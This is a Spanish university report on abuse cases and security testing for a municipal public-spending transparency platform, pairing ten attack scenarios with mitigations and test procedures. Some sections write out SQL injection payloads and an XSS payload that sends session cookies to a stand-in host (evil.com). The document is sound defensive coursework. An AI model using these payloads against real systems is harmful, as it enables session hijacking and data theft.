# Casos de Abuso y Gestión de Riesgos en Gasto Transparente Municipal: Plataforma de Transparencia y Seguimiento del Gasto Público Alineada con el ODS 16 Paz, Justicia e Instituciones Sólidas

Dylan Steven Jimenez Cobos

Santiago Angel Rodriguez

Víctor Alfonso Alarcón Ospina

Facultad de Ingeniería, Universidad Manuela Beltrán

Desarrollo de Software Seguro

Septiembre 2026

# Contenido

1. Contexto del Proyecto ..... 3
Atributos de Seguridad Clave ..... 3
2. Requisitos de Seguridad ..... 3
3. Casos de Abuso ..... 4
CA-01 Manipulación de Registros Presupuestales por Funcionario Interno ..... 5
CA-02 Ataque DDoS durante Rendición de Cuentas Electoral ..... 5
CA-03 Inyección SQL en Buscador de Contratos ..... 6
CA-04 XSS Persistente en Panel de Comentarios Ciudadanos ..... 6
CA-05 Suplantación de Identidad de Funcionario (Phishing) ..... 6
CA-06 Acceso No Autorizado a Reportes Confidenciales (IDOR) ..... 7
CA-07 Fuerza Bruta sobre Cuentas de Auditores ..... 7
CA-08 Defacement del Portal Público ..... 8
CA-09 Exfiltración Masiva de Datos vía API sin Restricción ..... 8
CA-10 Carga de Documentos Maliciosos (Malware Upload) ..... 9
4. Plan de Pruebas de Seguridad Basadas en Riesgo ..... 9
Prueba CA-01 Manipulación de Registros Presupuestales por Funcionario Interno ..... 9
Prueba CA-02 Ataque DDoS durante Rendición de Cuentas Electoral ..... 10
Prueba CA-03 Inyección SQL en Buscador de Contratos ..... 10
Prueba CA-04 XSS Persistente en Panel de Comentarios Ciudadanos ..... 10
Prueba CA-05 Suplantación de Identidad de Funcionario (Phishing) ..... 11
Prueba CA-06 Acceso No Autorizado a Reportes Confidenciales (IDOR) ..... 11
Prueba CA-07 Fuerza Bruta sobre Cuentas de Auditores ..... 11
Prueba CA-08 Defacement del Portal Público ..... 12
Prueba CA-09 Exfiltración Masiva de Datos vía API sin Restricción ..... 12
Prueba CA-10 Carga de Documentos Maliciosos (Malware Upload) ..... 12
5. Conclusiones ..... 13
Referencias ..... 14

## 1. Contexto del Proyecto

Gasto Transparente Municipal es una plataforma web pública que permite a ciudadanos, periodistas y organizaciones civiles fiscalizar el uso de fondos públicos municipales en tiempo real. Los datos son de carácter público, pero presentan un alto riesgo de manipulación por actores políticos o económicos, lo que convierte la seguridad en un requisito crítico y no opcional.

### Atributos de Seguridad Clave

- **Integridad:** Control de versiones auditable de cada registro presupuestal publicado.
- **Disponibilidad:** Alta disponibilidad ante ataques DDoS, especialmente en períodos electorales.
- **Confidencialidad:** Protección de documentos internos antes de su publicación oficial.
- **Trazabilidad:** Log inmutable de todas las modificaciones con firma digital del funcionario.
- **Autenticidad:** Firma digital verificable por cualquier ciudadano en datos publicados.

*Nota de sensibilidad: La plataforma opera en un contexto de alto escrutinio político. Un incidente de seguridad no es solo un problema técnico, es una crisis institucional con impacto directo en la democracia municipal.*

## 2. Requisitos de Seguridad

Se definen 10 requisitos de seguridad (funcionales y no funcionales) que debe cumplir Gasto Transparente Municipal, alineados con los principios de la tríada CIA y las recomendaciones de OWASP (OWASP Foundation, s.f.-a).

**Tabla 1**
*Requisitos de Seguridad (RS-01 a RS-10)*

| ID | Tipo | Requisito | Descripción | Justificación |
|---|---|---|---|---|
| **RS-01** | **Funcional** | Autenticación Multifactor (MFA) | El sistema debe requerir MFA (TOTP/FIDO2) para todos los usuarios con roles de editor, auditor y administrador. | Previene accesos no autorizados incluso si las credenciales son comprometidas por phishing o fuerza bruta. |
| **RS-02** | **No Funcional** | Cifrado de Datos en Reposo y Tránsito | Todos los datos sensibles se cifran con AES-256 en reposo y TLS 1.3 en tránsito. | Garantiza confidencialidad e integridad ante accesos no autorizados a la infraestructura. |
| **RS-03** | **Funcional** | Registro de Auditoría Inmutable (Append-Only Log) | Cada inserción, modificación o eliminación de registros presupuestales genera una entrada en un log append-only firmado digitalmente. | Permite trazabilidad completa de cambios y detecta manipulaciones de datos públicos. |
| **RS-04** | **No Funcional** | Protección Anti-DDoS y Rate Limiting | La plataforma debe soportar picos de 50 000 req/min con rate limiting por IP/token y CDN con scrubbing DDoS. | El proyecto es políticamente sensible; un DDoS en período electoral puede silenciar la rendición de cuentas. |
| **RS-05** | **Funcional** | Control de Acceso Basado en Roles (RBAC) | Roles definidos: Ciudadano (solo lectura), Editor (escritura limitada), Auditor (revisión), Administrador (gestión total). | Limita el radio de acción de credenciales comprometidas y reduce el riesgo de modificaciones no autorizadas. |
| **RS-06** | **Funcional** | Firma Digital de Registros Presupuestales | Cada registro público publicado debe incluir firma digital del funcionario responsable, verificable por cualquier ciudadano. | Garantiza autenticidad e impide la repudiación; cualquier alteración invalida la firma. |
| **RS-07** | **No Funcional** | Expiración de Sesión por Inactividad | Sesiones de usuarios privilegiados expiran tras 10 min de inactividad; ciudadanos a los 30 min. | Reduce la ventana de explotación de sesiones abiertas en equipos compartidos o robados. |
| **RS-08** | **Funcional** | Validación y Sanitización de Entradas | Todos los campos de formulario y parámetros de API deben validarse con whitelist y sanitizarse contra SQLi, XSS y Path Traversal. | Bloquea las técnicas de inyección más comunes definidas en OWASP Top 10. |
| **RS-09** | **No Funcional** | Política de Contraseñas y Bloqueo de Cuenta | Contraseñas mínimo 12 caracteres con complejidad; bloqueo temporal tras 5 intentos fallidos; notificación por e-mail. | Mitiga ataques de fuerza bruta y credential stuffing contra cuentas de funcionarios. |
| **RS-10** | **Funcional** | Alertas SIEM en Tiempo Real | El SIEM debe alertar en menos de 60 s ante anomalías: accesos fuera de horario, volumen inusual de descargas, cambios masivos. | Permite respuesta temprana ante incidentes y reduce el MTTD (tiempo medio de detección). |

## 3. Casos de Abuso

Se identifican 10 casos de abuso pensados desde la perspectiva del atacante (threat modeling ofensivo). Cada caso describe el atacante, el objetivo del ataque, las acciones realizadas, el impacto potencial y las contramedidas de mitigación.

## CA-01 Manipulación de Registros Presupuestales por Funcionario Interno

**Tabla 2**

*Caso de Abuso CA-01 — Manipulación de Registros Presupuestales por Funcionario Interno*

| **Nivel de Riesgo: CRÍTICO \| Probabilidad: Alta \| Impacto: Alto** | |
|---|---|
| **Atacante:** funcionario municipal con rol de Editor. | **Objetivo:** Alterar montos de contratos públicos para ocultar una desviación de fondos. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Inicia sesión con credenciales legítimas.<br>2. Edita registros de contratos adjudicados cambiando montos y beneficiarios.<br>3. Intenta borrar el historial de cambios si el sistema lo permite. |
| **Impacto Potencial** | **Pérdida de integridad de datos públicos; desinformación ciudadana; encubrimiento de corrupción y posibles sanciones legales para el municipio.** |
| **Mitigaciones** | ✓ Log de auditoría append-only con firma digital; ningún usuario puede borrar entradas.<br>✓ Workflow de aprobación dual para cambios en contratos superiores a un umbral definido.<br>✓ Alertas automáticas al supervisor cuando se detecta modificación fuera de rango estadístico. |

## CA-02 Ataque DDoS durante Rendición de Cuentas Electoral

**Tabla 3**

*Caso de Abuso CA-02 — Ataque DDoS durante Rendición de Cuentas Electoral*

| **Nivel de Riesgo: CRÍTICO \| Probabilidad: Alta \| Impacto: Alto** | |
|---|---|
| **Atacante:** Grupo político adversario o actor externo con acceso a botnet. | **Objetivo:** Silenciar la plataforma en momentos de alta visibilidad pública (período electoral). |

| | |
|---|---|
| **Acciones del Atacante** | 1. Coordina botnet para enviar millones de solicitudes HTTP al portal.<br>2. Satura los endpoints de búsqueda y descarga de informes con mayor tráfico.<br>3. Usa IPs rotativas y proxies para evadir bloqueos simples por IP. |
| **Impacto Potencial** | **Indisponibilidad del servicio en período crítico; daño a la confianza pública; silencio informativo que beneficia a actores corruptos.** |
| **Mitigaciones** | ✓ CDN con protección DDoS integrada (Cloudflare / AWS Shield Advanced).<br>✓ Rate limiting por IP, token y geolocalización con respuesta automática.<br>✓ Auto-scaling y arquitectura serverless para absorber picos legítimos de tráfico. |

### CA-03 Inyección SQL en Buscador de Contratos

**Tabla 4**

*Caso de Abuso CA-03 — Inyección SQL en Buscador de Contratos*

| **Nivel de Riesgo: ALTO \| Probabilidad: Media \| Impacto: Alto** | |
|---|---|
| **Atacante:** Atacante externo con conocimiento técnico (pentester malicioso, competidor). | **Objetivo:** Extraer datos confidenciales de la base de datos o eliminar registros históricos. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Ingresa payloads SQL en el campo de búsqueda: ' OR '1'='1'--<br>2. Usa UNION SELECT para extraer tablas internas (usuarios, credenciales).<br>3. Intenta DROP TABLE para destruir el historial de contratos. |
| **Impacto Potencial** | **Exposición de datos internos y credenciales; destrucción de registros históricos; pérdida irreversible de información pública.** |
| **Mitigaciones** | ✓ Usar ORM con consultas parametrizadas; prohibir SQL dinámico.<br>✓ WAF (Web Application Firewall) con reglas OWASP Core Rule Set.<br>✓ Principio de mínimo privilegio: el usuario de BD solo tiene SELECT/INSERT en tablas necesarias. |

### CA-04 XSS Persistente en Panel de Comentarios Ciudadanos

**Tabla 5**

*Caso de Abuso CA-04 — XSS Persistente en Panel de Comentarios Ciudadanos*

| **Nivel de Riesgo: ALTO \| Probabilidad: Media \| Impacto: Alto** | |
|---|---|
| **Atacante:** Ciudadano malintencionado o actor político con cuenta básica. | **Objetivo:** Robar sesiones de administradores o inyectar desinformación visual en la plataforma. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Publica un comentario con script malicioso embebido en el campo de texto.<br>2. El script se ejecuta cuando un administrador visualiza el comentario desde el panel.<br>3. Exfiltra el token de sesión del administrador a un servidor controlado por el atacante. |
| **Impacto Potencial** | **Toma de control de cuenta de administrador; desinformación masiva visible a ciudadanos; posible defacement del portal.** |
| **Mitigaciones** | ✓ Sanitización de salida HTML con biblioteca DOMPurify y política Content-Security-Policy estricta.<br>✓ Tokens de sesión con flags HttpOnly y Secure; inaccesibles desde JavaScript.<br>✓ Moderación de comentarios antes de su publicación pública. |

### CA-05 Suplantación de Identidad de Funcionario (Phishing)

**Tabla 6**

*Caso de Abuso CA-05 — Suplantación de Identidad de Funcionario (Phishing)*

| **Nivel de Riesgo: CRÍTICO \| Probabilidad: Alta \| Impacto: Alto** |
|---|

| | |
|---|---|
| **Atacante:** Atacante externo que compromete el correo corporativo de un funcionario. | **Objetivo:** Publicar datos falsos haciéndose pasar por un funcionario autorizado. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Envía e-mail de spear-phishing al funcionario para robar sus credenciales.<br>2. Accede al panel con las credenciales robadas desde una IP diferente.<br>3. Publica contratos falsos o altera montos del presupuesto antes de ser detectado. |
| **Impacto Potencial** | **Datos falsos publicados como oficiales; pérdida de credibilidad institucional; crisis de confianza ciudadana y posible manipulación de mercados.** |
| **Mitigaciones** | ✓ MFA obligatorio (TOTP o FIDO2): credenciales robadas no bastan para acceder.<br>✓ Análisis de comportamiento: login desde IP/país inusual activa bloqueo y notificación.<br>✓ Capacitación anti-phishing obligatoria y simulacros periódicos para funcionarios. |

## CA-06 Acceso No Autorizado a Reportes Confidenciales (IDOR)

**Tabla 7**

*Caso de Abuso CA-06 — Acceso No Autorizado a Reportes Confidenciales (IDOR)*

| **Nivel de Riesgo: ALTO \| Probabilidad: Media \| Impacto: Medio** | |
|---|---|
| **Atacante:** Ciudadano, periodista o actor con acceso básico a la plataforma. | **Objetivo:** Acceder a informes de auditoría internos antes de su publicación oficial. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Observa la URL de un documento: /reportes/2026/informe_123.pdf<br>2. Modifica el ID secuencial: /reportes/2026/informe_001.pdf (aún no publicado).<br>3. Descarga documentos confidenciales iterando IDs con un script automatizado. |
| **Impacto Potencial** | **Filtración de datos de auditoría preliminares; uso político de información sin contexto; violación del proceso institucional de revisión.** |
| **Mitigaciones** | ✓ UUIDs no predecibles en lugar de IDs secuenciales para todos los recursos.<br>✓ Verificación explícita de permisos en cada solicitud de recurso (no confiar en oscuridad).<br>✓ Logs de acceso a documentos sensibles con alertas ante patrones de iteración. |

## CA-07 Fuerza Bruta sobre Cuentas de Auditores

**Tabla 8**

*Caso de Abuso CA-07 — Fuerza Bruta sobre Cuentas de Auditores*

| **Nivel de Riesgo: ALTO \| Probabilidad: Alta \| Impacto: Alto** | |
|---|---|
| **Atacante:** Atacante automatizado (script/bot) o actor con lista de credenciales filtradas. | **Objetivo:** Obtener acceso privilegiado mediante ataque de diccionario o credential stuffing. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Descarga listas de contraseñas comunes (rockyou.txt, breach databases).<br>2. Ataca el endpoint de login con miles de combinaciones por minuto.<br>3. Prueba credential stuffing usando brechas de datos de otras plataformas. |
| **Impacto Potencial** | **Compromiso de cuenta de auditor; acceso a datos internos no publicados; posibilidad de manipular o eliminar registros.** |
| **Mitigaciones** | ✓ Bloqueo temporal de IP y de cuenta tras 5 intentos fallidos; desbloqueo con CAPTCHA.<br>✓ Notificación inmediata al usuario por e-mail ante intentos fallidos repetidos.<br>✓ MFA como segunda barrera aunque la contraseña haya sido comprometida. |

## CA-08 Defacement del Portal Público

**Tabla 9**

*Caso de Abuso CA-08 — Defacement del Portal Público*

| **Nivel de Riesgo: ALTO \| Probabilidad: Media \| Impacto: Alto** | |
|---|---|
| **Atacante:** Hacktivista o grupo de presión política con capacidades técnicas. | **Objetivo:** Alterar la apariencia del portal para difundir mensajes de desinformación. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Explota una vulnerabilidad en el CMS o en una dependencia desactualizada.<br>2. Reemplaza la página principal con contenido político falso o difamatorio.<br>3. Deja mensaje o malware para afectar a los visitantes del portal. |
| **Impacto Potencial** | **Daño reputacional severo al municipio; pérdida de confianza institucional; posible infección de equipos de ciudadanos visitantes.** |
| **Mitigaciones** | ✓ WAF + IDS/IPS con reglas de detección de modificación de archivos en tiempo real.<br>✓ Monitoreo de integridad de archivos (AIDE/Tripwire) con alerta inmediata.<br>✓ Pipeline CI/CD con despliegues inmutables: ningún archivo es modificable en producción directamente. |

## CA-09 Exfiltración Masiva de Datos vía API sin Restricción

**Tabla 10**

*Caso de Abuso CA-09 — Exfiltración Masiva de Datos vía API sin Restricción*

| **Nivel de Riesgo: MEDIO \| Probabilidad: Alta \| Impacto: Medio** | |
|---|---|
| **Atacante:** Competidor, lobbyist o actor con interés económico y token de API legítimo. | **Objetivo:** Descargar toda la base de datos de contratos públicos para análisis privado no autorizado. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Obtiene un token de API público o legítimo de un ciudadano registrado.<br>2. Itera llamadas a /api/contratos?page=1..N sin que haya restricción de volumen.<br>3. Exporta la base de datos completa en pocas horas para uso comercial privado. |
| **Impacto Potencial** | **Uso comercial no autorizado de datos públicos; posible identificación de patrones para corrupción; carga excesiva en el servidor que degrada el servicio.** |

| | |
|---|---|
| **Mitigaciones** | ✓ Rate limiting por token: máximo 100 req/min con respuesta HTTP 429 al excederlo.<br>✓ Paginación obligatoria con límite de resultados por página (máx. 100 registros).<br>✓ Términos de uso claros con registro de API keys; suspensión automática ante abuso. |

### CA-10 Carga de Documentos Maliciosos (Malware Upload)

**Tabla 11**
*Caso de Abuso CA-10 — Carga de Documentos Maliciosos (Malware Upload)*

| **Nivel de Riesgo: ALTO \| Probabilidad: Baja \| Impacto: Alto** | |
|---|---|
| **Atacante:** funcionario comprometido o atacante con acceso de editor. | **Objetivo:** Alojar malware en el servidor bajo apariencia de documentos oficiales. |

| | |
|---|---|
| **Acciones del Atacante** | 1. Sube un archivo PDF con JavaScript embebido o un DOCX con macro maliciosa.<br>2. El archivo queda publicado como 'Informe Oficial' disponible para descarga.<br>3. Ciudadanos, periodistas o funcionarios descargan el archivo e infectan sus equipos. |
| **Impacto Potencial** | **Infección masiva de dispositivos de ciudadanos; daño reputacional crítico al municipio; posible responsabilidad legal por distribución de malware.** |
| **Mitigaciones** | ✓ Análisis antivirus en tiempo real en el servidor de carga (ClamAV / VirusTotal API).<br>✓ Lista blanca de extensiones permitidas con validación MIME real (no solo extensión).<br>✓ Sandbox de documentos antes de publicación definitiva; conversión a PDF limpio. |

## 4. Plan de Pruebas de Seguridad Basadas en Riesgo

Por cada caso de abuso se define una prueba de seguridad con objetivo, procedimiento, resultado esperado y criterio de éxito verificable, alineada con la metodología OWASP Testing Guide (OWASP Foundation, s.f.-b).

### Prueba CA-01 Manipulación de Registros Presupuestales por Funcionario Interno

**Tabla 12**
*Prueba de Seguridad CA-01 — Manipulación de Registros Presupuestales por Funcionario Interno*

| **Riesgo del Caso: CRÍTICO \| Probabilidad: Alta \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Verificar que el log de auditoría registra e impide la eliminación de modificaciones en registros presupuestales. |

| | |
|---|---|
| **Procedimiento** | Editar un contrato existente y verificar que el cambio queda registrado con usuario, timestamp y hash del valor anterior. Intentar borrar la entrada del log con el mismo usuario. |
| **Resultado Esperado** | Entrada inmutable en el log con firma digital. Alerta enviada al supervisor dentro de los 60 segundos. |
| **Criterio de Éxito** | El log no puede ser borrado ni editado por ningún usuario, incluyendo el administrador. |

### Prueba CA-02 Ataque DDoS durante Rendición de Cuentas Electoral

**Tabla 13**

*Prueba de Seguridad CA-02 — Ataque DDoS durante Rendición de Cuentas Electoral*

| **Riesgo del Caso: CRÍTICO \| Probabilidad: Alta \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Evaluar la resistencia del sistema a un ataque DDoS simulado. |
| **Procedimiento** | Enviar 10 000 req/min durante 5 minutos con Apache JMeter contra el endpoint de búsqueda de contratos. |
| **Resultado Esperado** | El sistema mantiene tiempo de respuesta <3 s para el 95 % de usuarios legítimos. Las IPs atacantes son bloqueadas automáticamente. |
| **Criterio de Éxito** | No se produce caída total del servicio; el rate limiter actúa en menos de 10 segundos. |

### Prueba CA-03 Inyección SQL en Buscador de Contratos

**Tabla 14**

*Prueba de Seguridad CA-03 — Inyección SQL en Buscador de Contratos*

| **Riesgo del Caso: ALTO \| Probabilidad: Media \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Detectar vulnerabilidades de inyección SQL en el buscador de contratos. |
| **Procedimiento** | Usar SQLMap y payloads manuales (' OR '1'='1'--, UNION SELECT NULL--) en todos los campos de entrada del buscador. |
| **Resultado Esperado** | El sistema rechaza las entradas maliciosas con HTTP 400. No se retorna ninguna información de la base de datos. |
| **Criterio de Éxito** | Cero consultas SQL no parametrizadas ejecutadas; el WAF registra y bloquea el intento. |

### Prueba CA-04 XSS Persistente en Panel de Comentarios Ciudadanos

**Tabla 15**

*Prueba de Seguridad CA-04 — XSS Persistente en Panel de Comentarios Ciudadanos*

| **Riesgo del Caso: ALTO \| Probabilidad: Media \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Verificar que el sistema neutraliza scripts maliciosos en comentarios ciudadanos. |
| **Procedimiento** | Insertar <script>alert(1)</script> y <img onerror="fetch('evil.com?c='+document.cookie)"> en campos de comentario como usuario ciudadano. |
| **Resultado Esperado** | El script no se ejecuta; la salida aparece como texto plano o es completamente eliminada. |
| **Criterio de Éxito** | La política Content-Security-Policy bloquea la ejecución; los tokens de sesión no son accesibles vía JavaScript. |

### Prueba CA-05 Suplantación de Identidad de Funcionario (Phishing)

**Tabla 16**

*Prueba de Seguridad CA-05 — Suplantación de Identidad de Funcionario (Phishing)*

| **Riesgo del Caso: CRÍTICO \| Probabilidad: Alta \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Verificar que el MFA bloquea el acceso incluso con credenciales robadas. |
| **Procedimiento** | Con usuario y contraseña válidos (simulando phishing exitoso), intentar completar el login sin el segundo factor (TOTP) desde una IP no registrada. |
| **Resultado Esperado** | El sistema deniega el acceso y solicita el segundo factor. El usuario legítimo recibe notificación del intento. |
| **Criterio de Éxito** | Es imposible autenticarse con solo usuario+contraseña desde una IP o dispositivo no reconocido. |

### Prueba CA-06 Acceso No Autorizado a Reportes Confidenciales (IDOR)

**Tabla 17**

*Prueba de Seguridad CA-06 — Acceso No Autorizado a Reportes Confidenciales (IDOR)*

| **Riesgo del Caso: ALTO \| Probabilidad: Media \| Impacto: Medio** | |
|---|---|
| **Objetivo de la Prueba** | Detectar vulnerabilidades IDOR en endpoints de documentos. |
| **Procedimiento** | Con un usuario ciudadano, modificar manualmente el UUID en URLs de reportes internos. Usar Burp Suite para iterar sistemáticamente valores de IDs. |
| **Resultado Esperado** | HTTP 403 Forbidden para cualquier documento al que el usuario no tenga permiso explícito. |
| **Criterio de Éxito** | Cero accesos exitosos a recursos no autorizados; todos los intentos quedan registrados en el log de auditoría. |

### Prueba CA-07 Fuerza Bruta sobre Cuentas de Auditores

**Tabla 18**

*Prueba de Seguridad CA-07 — Fuerza Bruta sobre Cuentas de Auditores*

| **Riesgo del Caso: ALTO \| Probabilidad: Alta \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Verificar que el sistema bloquea ataques de fuerza bruta y credential stuffing. |
| **Procedimiento** | Ejecutar Hydra con lista de 1 000 contraseñas comunes contra el endpoint de login de un auditor durante 3 minutos. |
| **Resultado Esperado** | La cuenta se bloquea temporalmente tras 5 intentos fallidos; se activa CAPTCHA para continuar. |
| **Criterio de Éxito** | Menos del 0.1 % de intentos de fuerza bruta resultan en login exitoso. |

### Prueba CA-08 Defacement del Portal Público

**Tabla 19**

*Prueba de Seguridad CA-08 — Defacement del Portal Público*

| **Riesgo del Caso: ALTO \| Probabilidad: Media \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Detectar modificaciones no autorizadas en archivos del portal en tiempo real. |
| **Procedimiento** | Modificar directamente un archivo JS de la página principal en el servidor de producción; verificar que el sistema de monitoreo de integridad lo detecta. |
| **Resultado Esperado** | Alerta generada en menos de 60 segundos; el archivo es restaurado automáticamente desde el último despliegue limpio. |
| **Criterio de Éxito** | El sistema de integridad de archivos detecta el cambio y notifica al equipo de seguridad sin intervención manual. |

### Prueba CA-09 Exfiltración Masiva de Datos vía API sin Restricción

**Tabla 20**

*Prueba de Seguridad CA-09 — Exfiltración Masiva de Datos vía API sin Restricción*

| **Riesgo del Caso: MEDIO \| Probabilidad: Alta \| Impacto: Medio** | |
|---|---|
| **Objetivo de la Prueba** | Verificar que el rate limiting protege contra exfiltración masiva vía API. |
| **Procedimiento** | Con un token legítimo de ciudadano, ejecutar un script Python que realice 500 llamadas a /api/contratos en 1 minuto. |
| **Resultado Esperado** | El sistema devuelve HTTP 429 (Too Many Requests) a partir de la solicitud número 101. |
| **Criterio de Éxito** | El rate limit se aplica correctamente; las solicitudes excedentes no retornan datos y generan un registro de alerta. |

### Prueba CA-10 Carga de Documentos Maliciosos (Malware Upload)

**Tabla 21**

*Prueba de Seguridad CA-10 — Carga de Documentos Maliciosos (Malware Upload)*

| **Riesgo del Caso: ALTO \| Probabilidad: Baja \| Impacto: Alto** | |
|---|---|
| **Objetivo de la Prueba** | Verificar que el sistema rechaza archivos maliciosos en la carga de documentos. |
| **Procedimiento** | Intentar subir archivos .exe, .php, DOCX con macro VBA y PDF con JavaScript embebido usando una cuenta de editor. |
| **Resultado Esperado** | El sistema rechaza todos los archivos no permitidos con mensaje de error claro. Ningún archivo malicioso queda almacenado en el servidor. |
| **Criterio de Éxito** | Solo se aceptan extensiones de la lista blanca; el análisis antivirus detecta los archivos de prueba EICAR estándar. |

## 5. Conclusiones

- **Requisitos de seguridad (RS-01 a RS-10):** Cubren autenticación MFA, cifrado AES-256/TLS 1.3, trazabilidad inmutable, protección DDoS, RBAC, firma digital, gestión de sesiones, validación de entradas, política de contraseñas y alertas SIEM.
- **10 Casos de Abuso identificados:** Desde amenazas internas (funcionario malicioso) hasta ataques externos (DDoS, SQLi, XSS, IDOR, Defacement, Malware Upload).
- **3 Casos de Riesgo Crítico:** CA-01 (manipulación interna), CA-02 (DDoS electoral) y CA-05 (phishing de funcionario) requieren mitigación inmediata antes del despliegue.
- **Plan de Pruebas verificable:** 10 pruebas con procedimiento concreto, herramientas (SQLMap, JMeter, Hydra, Burp Suite) y criterio de éxito medible.
- **Principio aplicado — Think like an attacker:** El modelado de amenazas desde la perspectiva ofensiva permite fortalecer las defensas antes del despliegue, reduciendo el costo de remediación y protegiendo la confianza pública en la institución municipal.

## Referencias

OWASP Foundation. (s.f.-a). *OWASP Top 10*. Recuperado el 10 de septiembre de 2026, de https://owasp.org/www-project-top-ten/

OWASP Foundation. (s.f.-b). *OWASP Web Security Testing Guide*. Recuperado el 10 de septiembre de 2026, de https://owasp.org/www-project-web-security-testing-guide/